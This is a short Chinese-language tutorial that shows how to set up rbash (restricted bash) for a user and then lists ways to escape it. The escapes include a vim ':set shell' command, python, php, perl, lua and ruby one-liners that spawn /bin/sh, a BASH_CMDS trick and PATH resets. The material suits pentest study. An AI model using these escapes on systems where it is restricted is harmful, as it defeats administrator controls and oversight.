一、rbash介绍
rbash是Restricted bash缩写,即受限制的bash。
管理员可通过指定普通用户的bash为rbash,以此来限制相关操作。
在rbash中,很多行为和命令都会被受到限制。
确切说不属于提权,只是绕过rbash的限制,因为绕过后身份依旧是当前的普通账户。
二、设置bash限制
1,复制一个bash,重命名为rbash
cp /bin/bash /bin/rbash
2,设置用户tom登陆的shell为rbash
useradd -s /bin/rbash tom
3, 在tom用户下新建一个.bin目录存放可以执行的命令
mkdir -p /home/tom/.bin
4, 通过软连接执行命令
ln -s /bin/clear /home/$tom/.bin/clear
5, 编辑文件/home/$tom/.bashrc,添加export PATH=$HOME/.bin/.
文件一定要以# .bashrc为首行.
三、绕过rbash限制
1.检查可使用的命令,比如:cat/cd/su/sudo/vim/vi等;
写入脚本 vi xxx.txt 然后 :set shell=/bin/bash或者 :set shell=/bin/sh
2.检查可用操作符,比如:<>/\|!@#$%^&*等;
直接输入 /bin/sh 或者/bin/bash
3.root身份可以运行的命令:sudo -l;
查看 哪个运行命令是root权限
4.检查shell:echo $SHELL;
# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell
# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
5.检查可用的编程语言:java,python,php,ruby,perl等;
python
python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"
php
php -a then exec("sh -i")
perl
perl -e "exec '/bin/sh';"
lua
os.execute('/bin/sh')
ruby
exec "/bin/sh"
6.检查环境变量:运行env或者printenv.
# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh;a
# 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin